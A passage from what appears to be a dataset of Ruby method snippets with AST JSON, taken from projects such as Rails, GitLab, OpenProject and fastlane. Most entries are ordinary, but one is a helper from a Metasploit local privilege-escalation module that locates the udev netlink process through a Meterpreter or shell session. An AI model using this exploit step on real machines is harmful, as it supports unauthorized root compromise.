\"children\":[\"inbox_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conversation\"]},\"inbox_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"sender_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"conversation_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conversation\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"event_start_time\"]},{\"type\":\"send\",\"children\":[null,\"last_non_human_activity\",{\"type\":\"lvar\",\"children\":[\"conversation\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"event_end_time\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"created_at\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reporting_event\"]},\"save!\"]}]}]}","id":"229e503f-ba49-43a5-8d2f-645fda0f27e0"} {"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/form_tag_helper_test.rb","start_line":328,"raw_source":"def test_field_name_with_method_names_and_multiple_and_index\n value = field_name(:post, :title, :subtitle, index: 1, multiple: true)\n\n assert_equal \"post[1][title][subtitle][]\", value\n end","complexity_score":3.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_field_name_with_method_names_and_multiple_and_index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[null,\"field_name\",{\"type\":\"sym\",\"children\":[\"post\"]},{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"sym\",\"children\":[\"subtitle\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"multiple\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"post[1][title][subtitle][]\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}","id":"e16d91ec-758a-4c26-8437-70c056f0b431"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/resource/tag.rb","start_line":22,"raw_source":"def api_post_body\n {\n tag_name: name,\n ref: ref\n }\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"api_post_body\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tag_name\"]},{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ref\"]},{\"type\":\"send\",\"children\":[null,\"ref\"]}]}]}]}","id":"5a05274f-8380-42d1-a669-19af02c9201d"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/projects/import_export/parallel_export_service.rb","start_line":71,"raw_source":"def log_info(message)\n logger.info(\n message: message,\n **log_base_data\n )\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"log_info\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"message\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"info\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]},{\"type\":\"kwsplat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log_base_data\"]}]}]}]}]}","id":"0ab8d271-4db9-44ec-9120-f7d6bf37fc74"} {"repo_name":"forem","file_path":"./repos/forem/db/migrate/20200904151734_add_unique_index_to_articles_feed_source_url.rb","start_line":16,"raw_source":"def down\n if index_exists?(:articles, :feed_source_url, unique: true)\n remove_index :articles, column: :feed_source_url, algorithm: :concurrently\n end\n\n add_index :articles, :feed_source_url, algorithm: :concurrently\n end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"index_exists?\",{\"type\":\"sym\",\"children\":[\"articles\"]},{\"type\":\"sym\",\"children\":[\"feed_source_url\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"remove_index\",{\"type\":\"sym\",\"children\":[\"articles\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"feed_source_url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"algorithm\"]},{\"type\":\"sym\",\"children\":[\"concurrently\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"articles\"]},{\"type\":\"sym\",\"children\":[\"feed_source_url\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"algorithm\"]},{\"type\":\"sym\",\"children\":[\"concurrently\"]}]}]}]}]}]}","id":"06ed80c7-9e0f-4292-81e9-769a61549725"} {"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/pages/topic.rb","start_line":54,"raw_source":"def has_no_deleted_post?(post)\n has_no_css?(\".topic-post.deleted:has(#post_#{post.post_number})\")\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"has_no_deleted_post?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"post\"]}]},{\"type\":\"send\",\"children\":[null,\"has_no_css?\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\".topic-post.deleted:has(#post_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"post_number\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]}]}","id":"01e51866-49a9-44b1-a270-334de5bb7c61"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/local/udev_netlink.rb","start_line":247,"raw_source":"def autodetect_netlink_pid\n netlink_pid = nil\n\n case session.type\n when \"meterpreter\"\n print_status(\"Meterpreter session, using get_processes to find netlink pid\")\n process_list = session.sys.process.get_processes\n udev_proc = process_list.find { |p| p[\"name\"] =~ /udevd/ }\n udev_pid = udev_proc[\"pid\"]\n print_status \"udev pid: #{udev_pid}\"\n netlink = read_file(\"/proc/net/netlink\")\n netlink.each_line do |line|\n pid = line.split(/\\s+/)[2].to_i\n if pid == udev_pid - 1\n netlink_pid = pid\n break\n end\n end\n else\n print_status(\"Shell session, trying sh script to find netlink pid\")\n netlink_pid = cmd_exec(\n %q^\n for netlink_pid in $(awk '{print $3}' /proc/net/netlink |sort -u|grep -v -- -); do\n for udev_pid in $(ps aux | grep [u]devd | awk '{print $2}'); do\n [ $(( $udev_pid-1 )) = $netlink_pid ] && echo $netlink_pid ;\n done;\n done ^\n )\n netlink_pid = nil if netlink_pid.empty?\n end\n\n netlink_pid\n end","complexity_score":47.4,"ast_json":"{\"type\":\"def\",\"children\":[\"autodetect_netlink_pid\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"netlink_pid\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"type\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"meterpreter\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Meterpreter session, using get_processes to find netlink pid\"]}]},{\"type\":\"lvasgn\",\"children\":[\"process_list\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"sys\"]},\"process\"]},\"get_processes\"]}]},{\"type\":\"lvasgn\",\"children\":[\"udev_proc\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"process_list\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"p\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"udevd\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"udev_pid\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"udev_proc\"]},\"[]\",{\"type\":\"str\",\"children\":[\"pid\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"udev pid: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"udev_pid\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"netlink\",{\"type\":\"send\",\"children\":[null,\"read_file\",{\"type\":\"str\",\"children\":[\"/proc/net/netlink\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"netlink\"]},\"each_line\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pid\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"split\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\s+\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"[]\",{\"type\":\"int\",\"children\":[2]}]},\"to_i\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pid\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"udev_pid\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"netlink_pid\",{\"type\":\"lvar\",\"children\":[\"pid\"]}]},{\"type\":\"break\",\"children\":[]}]},null]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Shell session, trying sh script to find netlink pid\"]}]},{\"type\":\"lvasgn\",\"children\":[\"netlink_pid\",{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" for netlink_pid in $(awk '{print $3}' /proc/net/netlink |sort -u|grep -v -- -); do\\n\"]},{\"type\":\"str\",\"children\":[\" for udev_pid in $(ps aux | grep [u]devd | awk '{print $2}'); do\\n\"]},{\"type\":\"str\",\"children\":[\" [ $(( $udev_pid-1 )) = $netlink_pid ] && echo $netlink_pid ;\\n\"]},{\"type\":\"str\",\"children\":[\" done;\\n\"]},{\"type\":\"str\",\"children\":[\" done \"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"netlink_pid\"]},\"empty?\"]},{\"type\":\"lvasgn\",\"children\":[\"netlink_pid\",{\"type\":\"nil\",\"children\":[]}]},null]}]}]},{\"type\":\"lvar\",\"children\":[\"netlink_pid\"]}]}]}","id":"6ddeb49c-dddb-499b-9b53-097411256d59"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/utils/delegator_override/validator.rb","start_line":22,"raw_source":"def add_allowlist(names)\n allowed_method_names.concat(names)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"add_allowlist\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"names\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allowed_method_names\"]},\"concat\",{\"type\":\"lvar\",\"children\":[\"names\"]}]}]}","id":"f4f371e3-ad94-4e42-93b4-a30ddfc02a99"} {"repo_name":"gl_command","file_path":"./repos/gl_command/lib/gl_command/context.rb","start_line":42,"raw_source":"def arguments\n @klass.arguments.index_with { |rattr| send(rattr) }\n end","complexity_score":6.5,"ast_json":"{\"type\":\"def\",\"children\":[\"arguments\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@klass\"]},\"arguments\"]},\"index_with\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"rattr\"]}]},{\"type\":\"send\",\"children\":[null,\"send\",{\"type\":\"lvar\",\"children\":[\"rattr\"]}]}]}]}","id":"4af2120b-2903-49f8-a0e7-dc46edba1800"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/costs/app/models/rate.rb","start_line":178,"raw_source":"def orphaned_child_entries(date1, date2 = nil)\n # This method returns all entries in child projects without an explicit\n # rate or with a rate id of rate_id between date1 and date2\n # i.e. the ones with an assigned default rate or without a rate\n return [] unless @rate.is_a?(HourlyRate)\n\n (date1, date2) = order_dates(date1, date2)\n\n # This gets an array of all the ids of the DefaultHourlyRates\n default_rates = DefaultHourlyRate.pluck(:id)\n\n conditions = if date1.nil? || date2.nil?\n # we have only one date, query >=\n [\n \"user_id = ? AND project_id IN (?) AND (rate_id IN (?) OR rate_id IS NULL) AND spent_on >= ?\",\n @rate.user_id, @rate.project.descendants.to_a, default_rates, date1 || date2\n ]\n else\n # we have two dates, query between\n [\n \"user_id = ? AND project_id IN (?) AND (rate_id IN (?) OR rate_id IS NULL) AND spent_on BETWEEN ? AND ?\",\n @rate.user_id, @rate.project.descendants.to_a, default_rates, date1, date2\n ]\n end\n\n TimeEntry.includes(:rate).where(conditions)\n end","complexity_score":27.5,"ast_json":"{\"type\":\"def\",\"children\":[\"orphaned_child_entries\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"date1\"]},{\"type\":\"optarg\",\"children\":[\"date2\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@rate\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"HourlyRate\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"date1\"]},{\"type\":\"lvasgn\",\"children\":[\"date2\"]}]},{\"type\":\"send\",\"children\":[null,\"order_dates\",{\"type\":\"lvar\",\"children\":[\"date1\"]},{\"type\":\"lvar\",\"children\":[\"date2\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"default_rates\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DefaultHourlyRate\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"conditions\",{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"date1\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"date2\"]},\"nil?\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"user_id = ? AND project_id IN (?) AND (rate_id IN (?) OR rate_id IS NULL) AND spent_on >= ?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@rate\"]},\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@rate\"]},\"project\"]},\"descendants\"]},\"to_a\"]},{\"type\":\"lvar\",\"children\":[\"default_rates\"]},{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"date1\"]},{\"type\":\"lvar\",\"children\":[\"date2\"]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"user_id = ? AND project_id IN (?) AND (rate_id IN (?) OR rate_id IS NULL) AND spent_on BETWEEN ? AND ?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@rate\"]},\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@rate\"]},\"project\"]},\"descendants\"]},\"to_a\"]},{\"type\":\"lvar\",\"children\":[\"default_rates\"]},{\"type\":\"lvar\",\"children\":[\"date1\"]},{\"type\":\"lvar\",\"children\":[\"date2\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TimeEntry\"]},\"includes\",{\"type\":\"sym\",\"children\":[\"rate\"]}]},\"where\",{\"type\":\"lvar\",\"children\":[\"conditions\"]}]}]}]}","id":"452b1ec4-8ed5-4590-a636-416237584974"} {"repo_name":"dawarich","file_path":"./repos/dawarich/app/services/immich/import_geodata.rb","start_line":12,"raw_source":"def call\n immich_data = retrieve_immich_data\n\n log_no_data and return if immich_data.empty?\n\n immich_data_json = parse_immich_data(immich_data)\n file_name = file_name(immich_data_json)\n import = user.imports.find_or_initialize_by(name: file_name, source: :immich_api)\n\n create_import_failed_notification(import.name) and return unless import.new_record?\n\n import.file.attach(\n io: StringIO.new(immich_data_json.to_json),\n filename: file_name,\n content_type: 'application/json'\n )\n\n import.save!\n end","complexity_score":26.4,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"immich_data\",{\"type\":\"send\",\"children\":[null,\"retrieve_immich_data\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"immich_data\"]},\"empty?\"]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log_no_data\"]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"immich_data_json\",{\"type\":\"send\",\"children\":[null,\"parse_immich_data\",{\"type\":\"lvar\",\"children\":[\"immich_data\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"file_name\",{\"type\":\"send\",\"children\":[null,\"file_name\",{\"type\":\"lvar\",\"children\":[\"immich_data_json\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"import\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"imports\"]},\"find_or_initialize_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"file_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source\"]},{\"type\":\"sym\",\"children\":[\"immich_api\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"import\"]},\"new_record?\"]},null,{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_import_failed_notification\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"import\"]},\"name\"]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"import\"]},\"file\"]},\"attach\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"io\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StringIO\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"immich_data_json\"]},\"to_json\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filename\"]},{\"type\":\"lvar\",\"children\":[\"file_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content_type\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"import\"]},\"save!\"]}]}]}","id":"d9d057c6-8e6d-45b2-8505-e0753ea194ca"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/costs/app/components/my/time_tracking/list_wrapper_component.rb","start_line":42,"raw_source":"def call\n component_wrapper do\n render(My::TimeTracking::TimeEntriesListComponent.new(rows: time_entries, date: date, mode: mode))\n end\n end","complexity_score":8.9,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"component_wrapper\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"My\"]},\"TimeTracking\"]},\"TimeEntriesListComponent\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"rows\"]},{\"type\":\"send\",\"children\":[null,\"time_entries\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"date\"]},{\"type\":\"send\",\"children\":[null,\"date\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mode\"]},{\"type\":\"send\",\"children\":[null,\"mode\"]}]}]}]}]}]}]}","id":"51d8d007-36da-4fbe-9afa-6a680d56ffd6"} {"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/actions/sync_code_signing.rb","start_line":44,"raw_source":"def self.define_provisioning_profile_mapping(params)\n mapping = Actions.lane_context[SharedValues::MATCH_PROVISIONING_PROFILE_MAPPING] || {}\n\n # Array (...) to make sure it's an Array, Ruby is magic, try this\n # Array(1) # => [1]\n # Array([1, 2]) # => [1, 2]\n Array(params[:app_identifier]).each do |app_identifier|\n env_variable_name = Match::Utils.environment_variable_name_profile_name(app_identifier: app_identifier,\n type: Match.profile_type_sym(params[:type]),\n platform: params[:platform])\n\n if params[:derive_catalyst_app_identifier]\n app_identifier = \"maccatalyst.#{app_identifier}\"\n end\n\n mapping[app_identifier] = ENV[env_variable_name]\n end\n\n Actions.lane_context[SharedValues::MATCH_PROVISIONING_PROFILE_MAPPING] = mapping\n end","complexity_score":23.9,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"define_provisioning_profile_mapping\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mapping\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Actions\"]},\"lane_context\"]},\"[]\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SharedValues\"]},\"MATCH_PROVISIONING_PROFILE_MAPPING\"]}]},{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"app_identifier\"]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"app_identifier\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"env_variable_name\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Match\"]},\"Utils\"]},\"environment_variable_name_profile_name\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"app_identifier\"]},{\"type\":\"lvar\",\"children\":[\"app_identifier\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Match\"]},\"profile_type_sym\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"type\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"platform\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"platform\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"derive_catalyst_app_identifier\"]}]},{\"type\":\"lvasgn\",\"children\":[\"app_identifier\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"maccatalyst.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"app_identifier\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mapping\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"app_identifier\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"env_variable_name\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Actions\"]},\"lane_context\"]},\"[]=\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SharedValues\"]},\"MATCH_PROVISIONING_PROFILE_MAPPING\"]},{\"type\":\"lvar\",\"children\":[\"mapping\"]}]}]}]}","id":"b3923cb1-36a4-4ad5-93e7-2bd9c990b63e"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/types/packages/file_metadata_type.rb","start_line":13,"raw_source":"def self.resolve_type(object, context)\n case object\n when ::Packages::Conan::FileMetadatum\n ::Types::Packages::Conan::FileMetadatumType\n when ::Packages::Helm::FileMetadatum\n ::Types::Packages::Helm::FileMetadatumType\n else\n # NOTE: This method must be kept in sync with `PackageFileType#file_metadata`,\n # which must never produce data that this discriminator cannot handle.\n raise 'Unsupported file metadata type'\n end\n end","complexity_score":4.3,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"resolve_type\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"object\"]},{\"type\":\"arg\",\"children\":[\"context\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Packages\"]},\"Conan\"]},\"FileMetadatum\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Types\"]},\"Packages\"]},\"Conan\"]},\"FileMetadatumType\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Packages\"]},\"Helm\"]},\"FileMetadatum\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Types\"]},\"Packages\"]},\"Helm\"]},\"FileMetadatumType\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"Unsupported file metadata type\"]}]}]}]}","id":"208417fe-e1cc-49c9-a447-e3c9235b3e15"} {"repo_name":"spree","file_path":"./repos/spree/admin/app/controllers/spree/admin/metafields_controller.rb","start_line":17,"raw_source":"def permitted_resource_params\n params.require(@object.model_name.param_key).permit(metafields_attributes: permitted_metafield_attributes)\n 